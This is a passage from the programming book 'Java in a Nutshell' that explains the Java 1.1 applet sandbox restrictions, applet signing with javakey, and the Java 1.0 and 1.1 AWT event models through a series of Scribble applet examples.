[Chapter 6] 6.8 Applet Security Restrictions

Java in a Nutshell

Previous Chapter 6
Applets 		Next

6.8 Applet Security Restrictions

Applets loaded over the network are usually considered to be untrusted code. (The exception, as we'll see in the next section, is when the applet bears the digital signature of an entity that you've specified you trust.) The only way to be sure that an untrusted applet cannot perform any malicious actions (e.g., deleting your files, sending out fake email that looks like it came from you, using your computer as a remote file server) is to run it in a tightly controlled environment. For this reason, Web browsers and applet viewers carefully restrict what an applet is allowed to do. When designing an applet, you must be aware of a fairly long list of things that an applet is not allowed to do. The following list details the security restrictions imposed by the appletviewer application in Java 1.1. Different Web browsers and applet viewers may impose somewhat different restrictions on applets, and some (including appletviewer) may allow the user to relax or customize the restrictions. In general, however, you should assume that your applets will be restricted in the following ways:

  • Untrusted code cannot read from or write to the local filesystem. This means that untrusted code cannot:

    • Read files.

    • List directories.

    • Check for the existence of files.

    • Obtain the size or modification date of files.

    • Obtain the read and write permissions of a file.

    • Test whether a filename is a file or directory.

    • Write files.

    • Delete files.

    • Create directories.

    • Rename files.

    • Read or write from FileDescriptor objects.

  • appletviewer allows a system administrator to set properties that allow applets to read and write files within a specified list of directories.

    Untrusted code cannot perform networking operations, except in certain restricted ways. Untrusted code cannot:

    • Create a network connection to any computer other than the one from which the code was itself loaded.

    • Listen for network connections on any of the privileged ports with numbers less than or equal to 1024.

    • Accept network connections on ports less than or equal to 1024 or from any host other than the one from which the code itself was loaded.

    • Use multicast sockets.

    • Create or register a SocketImplFactory, URLStreamHandlerFactory, or ContentHandlerFactory.

  • appletviewer uses the "host-of-origin" policy described above by default, but can also be configured to disallow all networking or to allow all networking.

    Untrusted code cannot make use of certain system facilities. It cannot:

    • Exit the Java interpreter by calling System.exit() or Runtime.exit().

    • Spawn new processes by calling any of the Runtime.exec() methods.

    • Dynamically load native code libraries with the load() or loadLibrary() methods of Runtime or System.

  • Untrusted code cannot make use of certain AWT facilities. One major restriction is that all windows created by untrusted code will display a prominent visual indication that they have been created by untrusted code and are "insecure." This is to prevent untrusted code from spoofing the on-screen appearance of trusted code. Additionally, untrusted code cannot:

    • Initiate a print job.

    • Access the system clipboard.

    • Access the system event queue.

  • Untrusted code has restricted access to system properties. It cannot call System.getProperties(), and so cannot modify or insert properties into the system properties list. It can call System.getProperty() to read individual properties, but can only read system properties to which it has been explicitly granted access. By default, appletviewer grants access to only the following ten properties. Note that user.home and user.dir are excluded:

    • java.version

    • java.class.version

    • java.vendor

    • java.vendor.url

    • os.name

    • os.version

    • os.arch

    • file.separator

    • path.separator

    • line.separator

  • Untrusted code cannot create or access threads or thread groups outside of the thread group in which the untrusted code is running.

  • Untrusted code has restrictions on the classes it can load and define. It cannot:

    • Explicitly load classes from the sun.* packages.

    • Define classes in any of the java.* or sun.* packages.

    • Create a ClassLoader object or call any ClassLoader methods.

  • Untrusted code cannot use the java.lang.Class reflection methods to obtain information about non-public members of a class, unless the class was loaded from the same host as the untrusted code.

  • Untrusted code has restrictions on its use of the java.security package. It cannot:

    • Manipulate security identities in any way.

    • Set or read security properties.

    • List, lookup, insert, or remove security providers.

    • Finally, to prevent untrusted code from circumventing all of these restrictions, it is not allowed to create or register a SecurityManager object.

Local Applet Restrictions

When an applet is loaded from the local file system, instead of through a network protocol, Web browsers and applet viewers may relax some, or even many, of the above restrictions. The reason for this is that local applets are assumed to be more trustworthy than anonymous applets from the network.

Intermediate applet security policies are also possible. For example, an applet viewer could be written that would place fewer restrictions on applets loaded from an internal corporate network than on those loaded from the Internet.

Applet Security Implementation

Implementing the security restrictions described above is the responsibility of the java.lang.SecurityManager class. This class defines a number of methods that the system calls to check whether a certain operation (such as reading a file) is permitted in the current environment. Applet viewers create a subclass of SecurityManager to implement a particular security policy. A security policy is put in place by instantiating a SecurityManager object and registering it with System.setSecurityManager(). (One of the obvious security restrictions that must be enforced is that untrusted code may not register its own SecurityManager object!)

Loading Classes Securely

Another component of Java security is the way Java classes are loaded over the network. The java.lang.ClassLoader class defines how this is done. Applet viewers and Web browsers create subclasses of this class that implement security policies and define how class files are loaded via various protocols.

One important function of the class loader is to ensure that loaded classes reside in a separate namespace than classes loaded from the local system. This prevents naming conflicts, and also prevents a malicious applet from replacing standard Java classes with its own versions.

Byte-Code Verification

Another important function of the class loader is to ensure that all untrusted Java code (generally code loaded over the network) is passed through the Java byte-code verification process. This process ensures that the loaded code does not violate Java namespace restrictions or type conversion restrictions. It also checks that the code:

  • Is valid Java Virtual Machine code.

  • Does not overflow or underflow the stack.

  • Does not use registers incorrectly.

  • Does not convert data types illegally.

The purpose of these checks is to verify that the loaded code cannot forge pointers or do memory arithmetic, which could give it access to the underlying machine. The checks also ensure that the code cannot crash the Java interpreter or leave it in an undefined state, which might allow malicious code to take advantage of security flaws that could exist in some interpreter implementations. Essentially, the byte-code verification process protects against code from an "untrusted" Java compiler.

Denial of Service Attacks

The one "security hole" that remains when running an untrusted applet is that the applet can perform a "denial of service attack" on your computer. For example, it could frivolously allocate lots of memory, run many threads, or download lots of data. This sort of attack consumes system resources and can slow your computer (or your network connection) considerably. While this sort of attack by an applet is inconvenient, fortunately it cannot usually do any significant damage.

Previous | Home | Next
JAR Files | Book Index | Signed Applets
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.9 Signed Applets

Java in a Nutshell

Previous Chapter 6
Applets 		Next

6.9 Signed Applets

In Java 1.1 it is possible to circumvent these applet security restrictions by attaching a digital signature to a JAR file. When a Web browser or applet viewer loads a JAR file that has been signed by a trusted entity (the user specifies whom she trusts), the browser may grant the applet contained in the JAR file special privileges, such as the ability to read and write local files, that are not available to untrusted applets.

Signing an applet with the javakey tool provided by the JDK is a somewhat cumbersome task. First, of course, you must have a security database set up. The database must contain the certificate and the public and private keys that you want to use to sign the applet. See the javakey documentation in Chapter 16, JDK Tools for details on this process.

Once you have a properly configured security database, you must create a simple "directive file" that gives javakey the information it needs to sign your JAR file. A directive file might look like this:

# The entity doing the signing
signer=david
# The certificate number to use
cert=1
# Currently unused
chain=0
# The base name of the signature files to be added to the JAR manifest
signature.file=DAVIDSIG

Having created a directive file named mysig, for example, you could then sign a JAR file like this:

% javakey -gs mysig soundmap.jar

This command creates a new JAR file named soundmap.jar.sig that you can use in an HTML archive attribute just as you would use an unsigned JAR file.

The javakey tool is used for all aspects of administering the Java system security database. One of the other things you can do with it is to declare which entities are trusted. You do this with the -t option. For example, you might declare your trust for the author as follows:

% javakey -t DavidFlanagan true

Or you could revoke your trust like this:

% javakey -t DavidFlanagan false

The appletviewer program makes use of any trust values declared in this way. Note that javakey and appletviewer support only untrusted entities and fully-trusted entities, without any gradations in between. We may see additional levels of trust in the future.

Bear in mind that the javakey techniques described here apply only to the JDK. Other vendors may provide other mechanisms for signing applets, and Web browsers may provide other ways of declaring trusted entities.

Previous | Home | Next
Applet Security Restrictions | Book Index | Events
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] Events

Java in a Nutshell

Previous Chapter 7 Next

7. Events

Contents:
The Java 1.0 Event Model
Scribbling in Java 1.0
The Java 1.1 Event Model
Scribbling in Java 1.1
Scribbling with Inner Classes
Inside the Java 1.1 Event Model

The heart of any applet or graphical user interface is the event processing code. Graphical applications are event-driven: they do nothing until the user moves the mouse or clicks a button or types a key. An event-driven program is structured around its event-processing model, so a solid understanding of event handling mechanisms is crucial for good programming.

Unfortunately, the Java event handling model has changed between Java 1.0 and Java 1.1. The Java 1.0 model is a simple one, well suited to writing basic applets. It has a number of shortcomings, however, and does not scale well to complicated interfaces. Although the 1.0 event model is deprecated in Java 1.1, you'll still need to use it for any applets that you want to run on Web browsers based on Java 1.0. The Java 1.1 event model solves many of the shortcomings of the 1.0 model it replaces, but would be quite cumbersome to use if it were not for the new inner class features also introduced in Java 1.1. This chapter covers both event models and provides examples of each.

7.1 The Java 1.0 Event Model

In Java 1.0, all events are represented by the Event class. This class has a number of instance variables that describe the event. One of these variables, id, specifies the type of the event. Event defines a number of constants that are the possible values for the id field. The target field specifies the object (typically a Component) that generated the event, or on which the event occurred (i.e., the source of the event). The other fields may or may not be used, depending on the type of the event. For example, the x and y fields are defined when id is BUTTON_EVENT, but not when it is ACTION_EVENT. The arg field can provide additional type-dependent data.

Java 1.0 events are dispatched first to the handleEvent() method of the Component on which they occurred. The default implementation of this method checks the id field of the Event object and dispatches the most commonly used types of events to various type-specific methods, listed in Table 7.1.

Table 7.1: Java 1.0 Event Processing Methods of Component
action() | lostFocus() | mouseExit()
gotFocus() | mouseDown() | mouseMove()
keyDown() | mouseDrag() | mouseUp()
keyUp() | mouseEnter() |

The methods listed in Table 7.1 are defined by the Component class. One of the primary characteristics of the Java 1.0 event model is that you must override these methods in order to process events. This means that you must create a subclass to define custom event-handling behavior, which is exactly what we do when we write an applet, for example. Notice, however, that not all of the event types are dispatched by handleEvent() to more specific methods. So, if you are interested in LIST_SELECT or WINDOW_ICONIFY events, for example, you have to override handleEvent() itself, rather than one of the more specific methods. If you do this, you should usually invoke super.handleEvent() to continue dispatching events of other types in the default way.

The handleEvent() method, and all of the type-specific methods, return boolean values. If an event-handling method returns false, as they all do by default, it means that the event was not handled, so it should be passed to the container of the current component to see if that container is interested in processing it. If a method returns true, on the other hand, it is a signal that the event has been handled and no further processing is needed.

The fact that unhandled events are passed up the containment hierarchy is important. It means that we can override the action() method (for example) in an applet in order to handle the ACTION_EVENT events that are generated by the buttons within the applet. If they were not propagated up as they are, we would have to create a custom subclass of Button for every button we wanted to add to an interface!

In programs that use the Java 1.0 event model, it is typical to handle events at the top-level component. In an applet, for example, you override the handleEvent() method, or some of the other type-specific methods, of the Applet subclass you create. Or, in a stand-alone program that creates its own window, you subclass Frame to provide definitions of the event-handling methods. When a program displays a dialog box, it subclasses Dialog to define the methods. With complex interfaces, the event-handling methods of the containers at the top of the hierarchy can become long and somewhat convoluted, so you need to be careful when writing them.

Components and Their Events

In the Java 1.0 model, there is no defacto way to know what types of events are generated by what GUI components. You simply have to look this information up in the documentation. Additionally, different components use different fields of the Event object, and pass different values in the arg field of that object. Table 7.2 lists each of the AWT components, and for each one, lists the type of events it generates. The first column of the table specifies both the type of the component and the type of the event. The event type is the constant stored in the id field of the Event.

The second through sixth columns indicate whether the when (timestamp), x (mouse x coordinate), y (mouse y coordinate), key (the key that was pressed), and modifiers (modifier keys that were down) fields are set for a given event. If a dot appears in this column, the event sets a value for the corresponding field. The seventh column explains what occurred to trigger the event, and what the value of the arg field of the Event object is.

Events listed for the Component component type apply to all java.awt Component subclasses. The events listed for the Window component type also apply to the Window subclasses, Dialog and Frame.

Table 7.2: AWT Components and the Java 1.0 Events They Generate
Component | when | x | y | key | mods | Event Meaning
Event Type (id) |  |  |  |  |  | arg (Type: value)
Button |  |  |  |  |  | User clicked on the button
ACTION_EVENT |  |  |  |  |  | String: the button label
Checkbox |  |  |  |  |  | User clicked on checkbox
ACTION_EVENT |  |  |  |  |  | Boolean: new checkbox state
Choice |  |  |  |  |  | User selected an item
ACTION_EVENT |  |  |  |  |  | String: label of selected item
Component |  |  |  |  |  | Got input focus
GOT_FOCUS |  |  |  |  |  | unused
Component | * | * | * | * | * | User pressed a function key
KEY_ACTION |  |  |  |  |  | unused--key contains key
 |  |  |  |  |  | constant
Component | * | * | * | * | * | User released a function key
KEY_ACTION_RELEASE |  |  |  |  |  | unused--key contains key
 |  |  |  |  |  | constant
Component | * | * | * | * | * | User pressed a key
KEY_PRESS |  |  |  |  |  | unused--key contains ASCII
 |  |  |  |  |  | key value
Component | * | * | * | * | * | User released a key
KEY_RELEASE |  |  |  |  |  | unused--key contains ASCII
 |  |  |  |  |  | key value
Component |  |  |  |  |  | Lost input focus
LOST_FOCUS |  |  |  |  |  | unused
Component | * | * | * |  |  | Mouse entered the Component
MOUSE_ENTER |  |  |  |  |  | unused
Component | * | * | * |  |  | Mouse left the Component
MOUSE_EXIT |  |  |  |  |  | unused
Component | * | * | * |  | * | User pressed mouse button
MOUSE_DOWN |  |  |  |  |  | unused
Component | * | * | * |  | * | User released mouse button
MOUSE_UP |  |  |  |  |  | unused
Component | * | * | * |  | * | User moved mouse
MOUSE_MOVE |  |  |  |  |  | unused
Component | * | * | * |  | * | User dragged mouse
MOUSE_DRAG |  |  |  |  |  | unused
List |  |  |  |  |  | User double-clicked on an item
ACTION_EVENT |  |  |  |  |  | String: label of activated item
List |  |  |  |  |  | User selected an item
LIST_SELECT |  |  |  |  |  | Integer: index of selected item
List |  |  |  |  |  | User deselected an item
LIST_DESELECT |  |  |  |  |  | Integer: index of deselected item
MenuItem |  |  |  |  |  | User selected an item
ACTION_EVENT |  |  |  |  |  | String: label of selected item
Scrollbar |  |  |  |  |  | User requested scroll
SCROLL_LINE_UP |  |  |  |  |  | Integer: position to scroll to
Scrollbar |  |  |  |  |  | User requested scroll
SCROLL_LINE_DOWN |  |  |  |  |  | Integer: position to scroll to
Scrollbar |  |  |  |  |  | User requested scroll
SCROLL_PAGE_UP |  |  |  |  |  | Integer: position to scroll to
Scrollbar |  |  |  |  |  | User requested scroll
SCROLL_PAGE_DOWN |  |  |  |  |  | Integer: position to scroll to
Scrollbar |  |  |  |  |  | User requested scroll
SCROLL_ABSOLUTE |  |  |  |  |  | Integer: position to scroll to
TextField |  |  |  |  |  | User struck <Return>
ACTION_EVENT |  |  |  |  |  | String: user's input text
Window |  |  |  |  |  | Window was destroyed
WINDOW_DESTROY |  |  |  |  |  | unused
Window |  |  |  |  |  | Window was iconified
WINDOW_ICONIFY |  |  |  |  |  | unused
Window |  |  |  |  |  | Window was deiconified
WINDOW_DEICONIFY |  |  |  |  |  | unused
Window |  | * | * |  |  | Window was moved
WINDOW_MOVED |  |  |  |  |  | unused

Key and Modifier Constants

The java.awt.Event class contains the field key, which is filled in when a keyboard event has occurred, and the field modifiers, which list the keyboard modifier keys currently in effect for key and mouse events.

Four modifier constants are defined by the java.awt.Event class; they are listed in Table 7.3. They are mask values that are ORed into the modifiers field. You can test for them using AND. You can also check a given event for the first three of the modifiers with the Event methods shiftDown(), controlDown(), and metaDown().

Table 7.3: Java Keyboard Modifiers
Modifier Constant | Meaning
Event.SHIFT_MASK | SHIFT key is held down (or CAPS LOCK on)
Event.CTRL_MASK | CONTROL key is held down
Event.META_MASK | META key is held down
Event.ALT_MASK | ALT key is held down

When a KEY_PRESS or KEY_RELEASE event occurs, it means that the user pressed a key that is a normal printing character, a control character, or a non-printing character with a standard ASCII value--one of RETURN (ASCII 10 or '\n'), TAB (ASCII 9 or '\t'), ESCAPE (ASCII 27), BACKSPACE (ASCII 8), or DELETE (ASCII 127). In this case, the value of the key field in the event is simply the ASCII value of the key that was pressed or released.

When a KEY_ACTION or KEY_ACTION_RELEASE event occurs, it means that the user pressed some sort of function key, one which does not have an ASCII representation.

java.awt.Event defines constants for each of these function keys, which are listed in Table 7.4.

Table 7.4: Java Function Key Constants
Key Constant | Meaning
Event.HOME | HOME key
Event.END | END key
Event.PGUP | PAGE UP key
Event.PGDN | PAGE DOWN key
Event.UP | UP arrow key
Event.DOWN | DOWN arrow key
Event.LEFT | LEFT arrow key
Event.RIGHT | RIGHT arrow key
Event.F1 to Event.F12 | Function keys 1 through 12

Mouse Buttons

In order to maintain platform independence, Java only recognizes a single mouse button--the Event class does not have any kind of mouseButton field to indicate which button has been pressed on a multi-button mouse.

On platforms that support two- or three-button mouses, the right and center buttons generate mouse down, mouse drag, and mouse up events as if the user were holding down modifier keys, as shown in Table 7.5.

Table 7.5: Mouse Button Modifiers
Mouse Button | Flag Set in Event.modifiers Field
Left button | none
Right button | Event.META_MASK
Middle button | Event.ALT_MASK

Using keyboard modifiers to indicate the mouse button that has been pressed maintains compatibility with platforms that only have one-button mouses, but still allows programs to use the right and middle buttons on platforms that support them. Suppose, for example, you want to write a program that allows the user to draw lines with the mouse using two different colors. You might draw in the primary color if there are no modifier flags set, and draw in the secondary color when the META_MASK modifier is set. In this way, users with a two- or three-button mouse can simply use the left and right mouse buttons to draw in the two colors; and users with a one-button mouse can use the META key, in conjunction with the mouse, to draw in the secondary color.

Previous | Home | Next
Signed Applets | Book Index | Scribbling in Java 1.0
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.2 Scribbling in Java 1.0

Java in a Nutshell

Previous Chapter 7
Events 		Next

7.2 Scribbling in Java 1.0

Example 7.1 shows a simple applet that uses the Java 1.0 event model. It overrides the mouseDown() and mouseDrag() methods to allow the user to scribble with the mouse. It overrides the keyDown() method and clears the screen when it detects the "C" key. And it overrides the action() method to clear the screen when the user clicks on a Clear button. We've seen applets much like this elsewhere in the book; this one is not pictured here.

Example 7.1: Scribble: Using the 1.0 Event Model

import java.applet.*;
import java.awt.*;
/** A simple applet using the Java 1.0 event handling model */
public class Scribble1 extends Applet {
  private int lastx, lasty;    // Remember last mouse coordinates.
  Button clear_button;         // The Clear button.
  Graphics g;                  // A Graphics object for drawing.
  /** Initialize the button and the Graphics object. */
  public void init() {
    clear_button = new Button("Clear");
    this.add(clear_button);
    g = this.getGraphics();
  }
  /** Respond to mouse clicks. */
  public boolean mouseDown(Event e, int x, int y) {
    lastx = x; lasty = y;
    return true;
  }
  /** Respond to mouse drags. */
  public boolean mouseDrag(Event e, int x, int y) {
    g.setColor(Color.black);
    g.drawLine(lastx, lasty, x, y);
    lastx = x; lasty = y;
    return true;
  }
  /** Respond to key presses. */
  public boolean keyDown(Event e, int key) {
    if ((e.id == Event.KEY_PRESS) && (key == 'c')) {
      clear();
      return true;
    }
    else return false;
  }
  /** Respond to Button clicks. */
  public boolean action(Event e, Object arg) {
    if (e.target == clear_button) {
      clear();
      return true;
    }
    else return false;
  }
  /** convenience method to erase the scribble */
  public void clear() {
    g.setColor(this.getBackground());
    g.fillRect(0, 0, bounds().width, bounds().height);
  }
}

Previous | Home | Next
The Java 1.0 Event Model | Book Index | The Java 1.1 Event Model
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.3 The Java 1.1 Event Model

Java in a Nutshell

Previous Chapter 7
Events 		Next

7.3 The Java 1.1 Event Model

The Java 1.1 event model is used by both the AWT and by Java Beans. In this model, different classes of events are represented by different Java classes. Every event is a subclass of java.util.EventObject. AWT events, which is what we are concerned with here, are subclasses of java.awt.AWTEvent. For convenience, the various types of AWT events, such as MouseEvent and ActionEvent, are placed in the new java.awt.event package.

Every event has a source object, which can be obtained with getSource(), and every AWT event has a type value, which can be obtained with getID(). This value is used to distinguish the various types of events that are represented by the same event class. For example, the FocusEvent has two possible types: FocusEvent.FOCUS_GAINED and FocusEvent.FOCUS_LOST. Event subclasses contain whatever data values are pertinent to the particular event type. For example, MouseEvent has getX(), getY(), and getClickCount() methods; it also inherits the getModifiers() and getWhen() methods, among others.

The 1.1 event handling model is based on the concept of an "event listener." An object interested in receiving events is an event listener. An object that generates events (an event source) maintains a list of listeners that are interested in being notified when events occur, and provides methods that allow listeners to add themselves and remove themselves from this list of interested objects. When the event source object generates an event (or when a user input event occurs on the event source object), the event source notifies all the listener objects that the event has occurred.

An event source notifies an event listener object by invoking a method on it and passing it an event object (an instance of a subclass of EventObject). In order for a source to invoke a method on a listener, all listeners must implement the required method. This is ensured by requiring that all event listeners for a particular type of event implement a corresponding interface. For example, event listener objects for ActionEvent events must implement the ActionListener interface. The java.awt.event package defines an event listener interface for each of the event types it defines. (Actually, for MouseEvent events, it defines two listener interfaces: MouseListener and MouseMotionListener.) All event listener interfaces themselves extend java.util.EventListener. This interface does not define any methods, but instead acts as a marker interface, clearly identifying all event listeners as such.

An event listener interface may define more than one method. For example, an event class like MouseEvent represents several different types of mouse events, such as a button press event and a button release event, and these different event types cause different methods in the corresponding event listener to be invoked. By convention, the methods of an event listener are passed a single argument, which is an event object of the type that corresponds to the listener. This event object should contain all the information a program needs to respond to the event. Table 7.6 lists the event types defined in java.awt.event, the corresponding listener (or listeners), and the methods defined by each listener interface.

Table 7.6: Java 1.1 Event Types, Listeners, and Listener Methods
Event Class | Listener Interface | Listener Methods
ActionEvent | ActionListener | actionPerformed()
AdjustmentEvent | AdjustmentListener | adjustmentValueChanged()
ComponentEvent | ComponentListener | componentHidden()
 |  | componentMoved()
 |  | componentResized()
 |  | componentShown()
ContainerEvent | ContainerListener | componentAdded()
 |  | componentRemoved()
FocusEvent | FocusListener | focusGained()
 |  | focusLost()
ItemEvent | ItemListener | itemStateChanged()
KeyEvent | KeyListener | keyPressed()
 |  | keyReleased()
 |  | keyTyped()
MouseEvent | MouseListener | mouseClicked()
 |  | mouseEntered()
 |  | mouseExited()
 |  | mousePressed()
 |  | mouseReleased()
 | _ | _
 | MouseMotionListener | mouseDragged()
 |  | mouseMoved()
TextEvent | TextListener | textValueChanged()
WindowEvent | WindowListener | windowActivated()
 |  | windowClosed()
 |  | windowClosing()
 |  | windowDeactivated()
 |  | windowDeiconified()
 |  | windowIconified()
 |  | windowOpened()

For each of the event listener interfaces that contains more than one method, java.awt.event defines a simple "adapter" class that provides an empty body for each of the methods in the interface. When you are only interested in one or two of the defined methods, it is sometimes easier to subclass the adapter class than it is to implement the interface. If you subclass the adapter, you only have to override the methods of interest, but if you implement the interface directly you have to define all of the methods, which means you must provide empty bodies for all the methods that are not of interest. These pre-defined no-op adapter classes bear the same name as the interfaces they implement, with "Listener" changed to "Adapter": MouseAdapter, WindowAdapter, etc.

Once you have implemented a listener interface, or subclassed a adapter class, you must instantiate your new class to define an individual event listener object. You then register that listener with the appropriate event source. In AWT programs, an event source is always some sort of AWT component. Event listener registration methods follow a standard naming convention: if an event source generates events of type X, it has a method named addXListener() to add an event listener, and a method removeXListener() to remove a listener. One of the nice features of the 1.1 event model is that it is easy to determine the types of events a component can generate--just look for the event listener registration methods. For example, by inspecting the API of the Button object, you can determine that it generates ActionEvent events. Table 7.7 lists AWT components and the events they generate.

Table 7.7: AWT Components and the Java 1.1 Events They Generate
Component | Events Generated | Meaning
Button | ActionEvent | User clicked on the button
Checkbox | ItemEvent | User selected or deselected an item
CheckboxMenuItem | ItemEvent | User selected or deselected an item
Choice | ItemEvent | User selected or deselected an item
Component | ComponentEvent | Component moved, resized, hidden, or shown
 | FocusEvent | Component gained or lost focus
 | KeyEvent | User pressed or released a key
 | MouseEvent | User pressed or released mouse button, mouse entered or exited component, or user moved or dragged mouse. Note: MouseEvent has two corresponding listeners, MouseListener and MouseMotionListener.
Container | ContainerEvent | Component added to or removed from container
List | ActionEvent | User double-clicked on list item
 | ItemEvent | User selected or deselected an item
MenuItem | ActionEvent | User selected a menu item
Scrollbar | AdjustmentEvent | User moved the scrollbar
TextComponent | TextEvent | User changed text
TextField | ActionEvent | User finished editing text
Window | WindowEvent | Window opened, closed, iconified, deiconified, or close requested

Previous | Home | Next
Scribbling in Java 1.0 | Book Index | Scribbling in Java 1.1
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.4 Scribbling in Java 1.1

Java in a Nutshell

Previous Chapter 7
Events 		Next

7.4 Scribbling in Java 1.1

The Java 1.1 event model is quite flexible, and, as we'll see, there are several different ways you can use it to structure your event-handling code. Example 7.2 shows the first technique. Once again, this is our basic Scribble applet, this time using the Java 1.1 event model. This version of the applet implements the MouseListener and MouseMotionListener interfaces itself, and registers itself with its own addMouseListener() and addMouseMotionListener() methods.

Example 7.2: Scribble: Implementing the Listener Interfaces Directly

import java.applet.*;
import java.awt.*;
import java.awt.event.*;
public class Scribble2 extends Applet
                      implements MouseListener,  MouseMotionListener {
  private int last_x, last_y;
  public void init() {
    // Tell this applet what MouseListener and MouseMotionListener
    // objects to notify when mouse and mouse motion events occur.
    // Since we implement the interfaces ourself, our own methods are called.
    this.addMouseListener(this);
    this.addMouseMotionListener(this);
  }
  // A method from the MouseListener interface.  Invoked when the
  // user presses a mouse button.
  public void mousePressed(MouseEvent e) {
    last_x = e.getX();
    last_y = e.getY();
  }
  // A method from the MouseMotionListener interface.  Invoked when the
  // user drags the mouse with a button pressed.
  public void mouseDragged(MouseEvent e) {
    Graphics g = this.getGraphics();
    int x = e.getX(), y = e.getY();
    g.drawLine(last_x, last_y, x, y);
    last_x = x; last_y = y;
  }
  // The other, unused methods of the MouseListener interface.
  public void mouseReleased(MouseEvent e) {;}
  public void mouseClicked(MouseEvent e) {;}
  public void mouseEntered(MouseEvent e) {;}
  public void mouseExited(MouseEvent e) {;}
  // The other method of the MouseMotionListener interface.
  public void mouseMoved(MouseEvent e) {;}
}

Previous | Home | Next
The Java 1.1 Event Model | Book Index | Scribbling with Inner Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.5 Scribbling with Inner Classes

Java in a Nutshell

Previous Chapter 7
Events 		Next

7.5 Scribbling with Inner Classes

The Java 1.1 event model was designed to work well with another new Java 1.1 feature: inner classes. Example 7.3 shows what the applet looks like when the event listeners are implemented as anonymous inner classes. Note how succinct this representation is. This is perhaps the most common way to use the Java 1.1 event model, so you'll probably see a lot of code that looks like this. In this case, our simple applet is nothing but event-handling code, so this version of it consists almost entirely of anonymous class definitions.

Note that we've added a feature to the applet. It now includes a Clear button. An ActionListener object is registered with the button; it clears the scribble when the appropriate event occurs.

Example 7.3: Scribble: Using Inner Classes

import java.applet.*;
import java.awt.*;
import java.awt.event.*;
public class Scribble3 extends Applet {
  int last_x, last_y;
  public void init() {
    // Define, instantiate, and register a MouseListener object.
    this.addMouseListener(new MouseAdapter() {
      public void mousePressed(MouseEvent e) {
        last_x = e.getX();
        last_y = e.getY();
      }
    });
    // Define, instantiate, and register a MouseMotionListener object.
    this.addMouseMotionListener(new MouseMotionAdapter() {
      public void mouseDragged(MouseEvent e) {
        Graphics g = getGraphics();
        int x = e.getX(), y = e.getY();
        g.setColor(Color.black);
        g.drawLine(last_x, last_y, x, y);
        last_x = x; last_y = y;
      }
    });
    // Create a clear button.
    Button b = new Button("Clear");
    // Define, instantiate, and register a listener to handle button presses.
    b.addActionListener(new ActionListener() {
      public void actionPerformed(ActionEvent e) {  // clear the scribble
        Graphics g = getGraphics();
        g.setColor(getBackground());
        g.fillRect(0, 0, getSize().width, getSize().height);
      }
    });
    // And add the button to the applet.
    this.add(b);
  }
}

Previous | Home | Next
Scribbling in Java 1.1 | Book Index | Inside the Java 1.1 Event Model
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.6 Inside the Java 1.1 Event Model

Java in a Nutshell

Previous Chapter 7
Events 		Next

7.6 Inside the Java 1.1 Event Model

The listener-based event model we've seen in the sections above is ideal for creating a GUI out of pre-defined AWT components or out of Java Beans. It becomes a little cumbersome, however, when developing custom AWT components. AWT components (but not beans) provide a lower-level interface to this event model that is sometimes more convenient to use.

When an AWTEvent is delivered to a component, there is some default processing that goes on before the event is dispatched to the appropriate event listeners. When you define a custom component (by subclassing), you have the opportunity to override methods and intercept the event before it is sent to listener objects. When an AWTEvent is delivered to a component, it is passed to the processEvent() method.

By default, processEvent() simply checks the class of the event object and dispatches the event to a class-specific method. For example, if the event object is an instance of FocusEvent, it dispatches it to a method named processFocusEvent(). Or, if the event is of type ActionEvent, it is dispatched to processActionEvent(). In other words, any event type X Event is dispatched to a corresponding process X Event() method. The exception is for MouseEvent events, which are dispatched either to processMouseEvent() or processMouseMotionEvent(), depending on the type of the mouse event that occurred. For any given component, it is the individual process X Event() methods that are responsible for invoking the appropriate methods of all registered event listener objects. The processMouseEvent() method, for example, invokes the appropriate method for each registered MouseListener object. There is a one-to-one mapping between these methods and the event listener interfaces defined in java.awt.event. Each process X Event() method corresponds to an X Listener interface.

As you can see, there is a clear analogy between the Java 1.0 event model and this Java 1.1 low-level event model. processEvent() is analogous to the Java 1.0 handleEvent() method, and methods like processKeyEvent() are analogous to the Java 1.0 keyDown() and keyUp() methods. As with the Java 1.0 model, there are two levels at which you can intercept events: you can override processEvent() itself or you can rely on the default version of processEvent() to dispatch the events based on their class and instead override the individual event methods, such as processFocusEvent() and processActionEvent().

There is one additional requirement to make this low-level Java 1.1 event model work. In order to receive events of a particular type for a component, you must tell the component that you are interested in receiving that type of event. If you do not do this, for efficiency, the component does not bother to deliver that type of event. When using event listeners, the act of registering a listener is enough to notify the component that you are interested in receiving events of that type. But when you use the low-level model, you must register your interest explicitly. You do this by calling the enableEvents() method of the component and passing a bit mask that specifies each of the event types you are interested in. The bit mask is formed by ORing together various EVENT_MASK constants defined by the AWTEvent class.

Scribbling with Low-Level Event Handling

Example 7.4 is another variation on the Scribble applet. This one uses the Java 1.1 low-level event-handling model. It overrides the event-specific methods processMouseEvent(), processMouseMotionEvent(), and processKeyEvent(). Note how it calls enableEvents() in its init() method to register interest in events of that type. Furthermore, it calls requestFocus() to ask that it be given the keyboard focus, so that it can receive key events. Notice also that it passes events it is not interested in to the superclass event-processing method. In this case, the superclass is not going to use those events, but this is still a good practice.

Example 7.4: Scribble: Using the Low-Level Event Model

import java.applet.*;
import java.awt.*;
import java.awt.event.*;
public class Scribble4 extends Applet {
  private int lastx, lasty;
  /** Tell the system we're interested in mouse events, mouse motion events,
   *  and keyboard events.  This is required or events won't be sent.
   */
  public void init() {
    this.enableEvents(AWTEvent.MOUSE_EVENT_MASK |
                      AWTEvent.MOUSE_MOTION_EVENT_MASK |
                      AWTEvent.KEY_EVENT_MASK);
    this.requestFocus();  // Ask for keyboard focus so we get key events.
  }
  /** Invoked when a mouse event of some type occurs */
  public void processMouseEvent(MouseEvent e) {
    if (e.getID() == MouseEvent.MOUSE_PRESSED) {  // Check the event type.
      lastx = e.getX(); lasty = e.getY();
    }
    else super.processMouseEvent(e); // Pass unhandled events to superclass.
  }
  /** Invoked when a mouse motion event occurs */
  public void processMouseMotionEvent(MouseEvent e) {
